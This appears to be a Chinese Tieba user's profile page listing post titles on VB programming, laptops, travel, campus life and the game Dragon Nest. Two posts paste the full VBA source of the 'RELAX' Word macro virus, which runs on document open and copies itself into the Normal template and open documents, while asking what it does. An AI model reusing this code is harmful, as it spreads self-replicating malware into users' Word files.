汤汤ToT
汤汤ToT
关注数: 40
粉丝数: 174
发帖数: 1,414
关注贴吧数: 23
毕业四年了 想学校了
VB 连接ACCESS 模糊查询时,用%还是查询不完整,是为什么呢?
求助:WORD中了RELAX宏病毒,有人知道是做啥的吗 'RELAX Private Sub ComboBox1_Change() End Sub Private Sub GOODSub() On Error Resume Next Application.ScreenUpdating = False Application.Options.SaveNormalPrompt = False x$ = "C:\temp.tmp" MacroContainer.VBProject.vbcomponents.Item("ThisDocument").Export x$ Open x$ For Input As #1 keimeno = Input(LOF(1), 1) Close #1 kk& = InStr(1, keimeno, "'RELAX") keimeno = Right$(keimeno, Len(keimeno) - kk& + 1) For j = 1 To 2 If j = 1 Then NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").Export x$ Else ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").Export x$ End If Open x$ For Input As #1 rlx = Input(LOF(1), 1) Close #1 d1 = InStr(1, rlx, "'RELAX") If d1 = 0 Then If j = 1 Then NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno NormalTemplate.Save Else ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno End If End If Next j '==================== Dim PRostasia As Byte PRostasia = 1 fff = FreeFile If Dir(ActiveDocument.FullName, 6) <> "" Then Open ActiveDocument.FullName For Binary As #fff Put #fff, 862, PRostasia Close #fff ActiveDocument.Save End If Kill x$ Application.ScreenUpdating = True End Sub Private Sub Document_Open() Call GOODSub End Sub
大神求助:WORD中了宏病毒RELAX,有人知道是做啥的吗 'RELAX Private Sub ComboBox1_Change() End Sub Private Sub GOODSub() On Error Resume Next Application.ScreenUpdating = False Application.Options.SaveNormalPrompt = False x$ = "C:\temp.tmp" MacroContainer.VBProject.vbcomponents.Item("ThisDocument").Export x$ Open x$ For Input As #1 keimeno = Input(LOF(1), 1) Close #1 kk& = InStr(1, keimeno, "'RELAX") keimeno = Right$(keimeno, Len(keimeno) - kk& + 1) For j = 1 To 2 If j = 1 Then NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").Export x$ Else ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").Export x$ End If Open x$ For Input As #1 rlx = Input(LOF(1), 1) Close #1 d1 = InStr(1, rlx, "'RELAX") If d1 = 0 Then If j = 1 Then NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno NormalTemplate.Save Else ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno End If End If Next j '==================== Dim PRostasia As Byte PRostasia = 1 fff = FreeFile If Dir(ActiveDocument.FullName, 6) <> "" Then Open ActiveDocument.FullName For Binary As #fff Put #fff, 862, PRostasia Close #fff ActiveDocument.Save End If Kill x$ Application.ScreenUpdating = True End Sub Private Sub Document_Open() Call GOODSub End Sub
用VB打开EXCEL关闭时会关闭其他手动打开的表格,怎么避免呀? Set hkapp = CreateObject("Excel.Application") Set hkbook = hkapp.Workbooks.Open("C:\Users\Desktop\表.xlsx") hkapp.Visible = false 。。。。。 hkapp.ActiveWorkbook.Close savechanges:=False hkapp.Quit Set hkapp = Nothing
请问如何解决filecopy不能复制已打开的文件~
提问***有没有日期格式是显示---Dec 1st 2016 这种类型? 主要是日后面接st nd rd th,这个没找到。。
VB关联EXCEL删除某列重复项的问题 怎么达到目的呀
******大神们看看哪里出错了******** 目的是TEXT1中的数字*0.2小于5就直接把结果粘贴在TEXT2中,大于5就乘0.19、0.18.0.17....直到小于5,把结果复制到TEXT2中,但是266的时候出现了很多小数,自学VB没多久 有大神帮助一下嘛TAT
今天想回谷玩一下的,结果安装不成╮(╯▽╰)╭ 安装老是dragonnest02.cabzlib错误TAT
才买的E5-572G-528R感觉屏幕从侧面看有点弯曲 有遇到一样的情况吗
戴尔ins15MR 1628l这个机子如何捏~
12-01【杂谈】4000左右的机子,有推荐吗~
12.01【求助】4000左右的机子~有推荐的吗
衡阳去安仁怎么走 班车几点
是郴州到安仁快捷方便还是衡阳过去快捷方便点 求解么么哒
有没有去过虎牙露营的人! 给点经验给点经验阿 有木有注意的地方
后天打算去虎牙大峡谷露营,有木有人给点建议~! 比如天气以及要注意的问题哇
现在还能办健康证吗!热成狗了
老夫亲眼看到失火地点 洗洗睡吧~挺远的
多少人跪在了temptation上了 ( ⊙ o ⊙ )
有多少人被新区农行保安哥出的难到过… rt
明天就要上第一节课了 好激动QAQ 好久没上课了
谁有体育卢峰老师的电话急求 体育达标缺考,下暴雨考试的 居然缺考 我擦
学生票多买一站能不能买阿阿阿 到时候查到是怎么补?
求各种软件和游戏阿 要破解好了的T T下载好多都用不了。。
真心求一个沙龙体验服的账号阿阿 RT 好人一生平安QAQ
哎呀,沙龙都要出了绿龙都还不会怎么破 万年潜水b水经验来了啊啊
GAME那个箱子能开到永久纹身不 RT
哎哟喂。。下载一个装备配置器差点中标T T 直接上图。。大家下载这些东西最好先检测一下=。=
【醒目】收怪叔叔号和十级多的工会是要做啥?有活动? 每次发帖就秒沉,哎,不信就点关注我,看一个沉贴帝的悲剧人生~
有没有时空介绍加点啊~ 纯面板时空和暗时空加点的区别。。升级的时候满的黑暗神殿大陨石光雨,59买了一个猫杖玩了,准备玩玩暗时空
当金币不再是金币的时候 看到自己辛辛苦苦赚的钱一个星期内贬值了一半。。。WQNMGB挂B们!!!以前工作室还限制金币的销售,现在的脱机挂完全无节操了阿 我艹艹艹艹艹。。。
有木有大神知道为毛金币开始贬值了阿T T 都说说自己服务器最近贬值没呀,难道还是脱机挂。。。
十字不豪几乎输出!不服来辩!! 那些跟风十字武器78,没光没最终的,盾系不出,介绍里面写着能拉能输出神马心态,这个星期台风被坑几次了。。。还说仇恨在我这,这队伍输出不行,次奥,仇恨不在你十字那里难道要在我冰灵这里阿阿阿,不是看你是十字我换冰灵做神马,第一关死两次说没出盾!!你想输出去玩火舞墨鱼炼金阿阿阿,玩十字啥都没有输出的起来噢,真天真,以为每个十字都能500万一插么。。
jjc禁战吼和清醒不 rt
急阿急阿 劳资阿T T,寝室桶装水过期一个月了。。。烧开了泡方便面kuo以吧? 大神阿大神阿
龙之谷 龙之谷
弱弱的问一句:为什么那么多百合阿?TAT ~
运动会
去仙海还是坐车的好, 不是远 不是累,是真的很危险。。
骑车去仙海多久? 从学校出发阿…骑的自行车…
阿阿阿 学校发的银行卡取钱收费嘛? ~RT
新生住宿是怎么分配的阿, 男生会不会8人一间喔~
主吧今天西南二火了╮(╯▽╰)╭ 诶哟。、。
哇晒~贴吧的人越来越多咯 搞基…搞基…搞基…搞基~
第六关毒云~~ 有时候明明吼到了为啥还是掉血厉害,有奇迹。。甚至有次我刚吼完我死了而脆皮都没死。。为啥捏为啥捏
阿阿阿!爱上未来嘚你死骗子阿 …请各位基佬注意他,各大工会收人也注意哇.TAT
晚安贴 基友们晚安
那个专业盗号的9夜无坚 大号是风行莫小北?!求真相。身边朋友一个一个被盗了。一个一个的走了,诶
浩二在调戏那个小日本? …
蜡笔小新╮(╯_╰)╭ 这家伙改名字了 然后我好奇的去看的时候正在和别人交易 我大叫骗子 然后他说号是昨天晚上200元买的 这。。。
好吧,可不可以这样 都说pk开铁滚动旋风无脑,好吧,要不sd在竞技场屏蔽这四个技能,然后刷图技能威力加倍cd减半?要是我我宁愿这样
在苦跳了快2个小时下终于会上凯德拉的房子了T T。。。 一楼度娘。。
凯德拉的那些房子怎么跳上去阿? …
装备爆了谁能带带我呀T T ~ ~
涵MM快一年了呢 ~
弱弱的问一句:为什么那么多百合阿?TAT ~
【求助】涵小奶奶很小嘛? rt
有木有人点满火球的呀~~ 额 这个有必要么?
1
下一页